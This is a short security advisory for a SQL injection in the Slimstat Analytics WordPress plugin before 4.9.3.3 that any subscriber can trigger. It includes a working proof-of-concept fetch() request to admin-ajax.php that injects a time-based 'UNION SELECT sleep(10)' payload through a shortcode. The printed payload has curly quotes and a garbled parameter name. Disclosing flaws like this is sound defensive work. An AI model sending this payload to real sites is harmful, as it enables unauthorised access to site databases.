Slimstat Analytics < 4.9.3.3 - Subscriber+ SQL Injection

The plugin does not prevent subscribers from rendering shortcodes that concatenates attributes directly into an SQL query.

PoC

While logged in as a subscriber, send the following request: (await fetch(‘/wp-admin/admin-ajax.php’,{method:‘POST’, headers: {‘Content-Type’: ‘application/x-www-form-urlencoded’},body:‘action=parse-media-shortcode&shortcode;=[slimstat f=“count” w=“author”]WHERE:1 UNION SELECT sleep(10)-- a[/slimstat]’})).text() If successful, the request should hang for ~10 seconds, indicating we successfully injected something in the affected SQL query.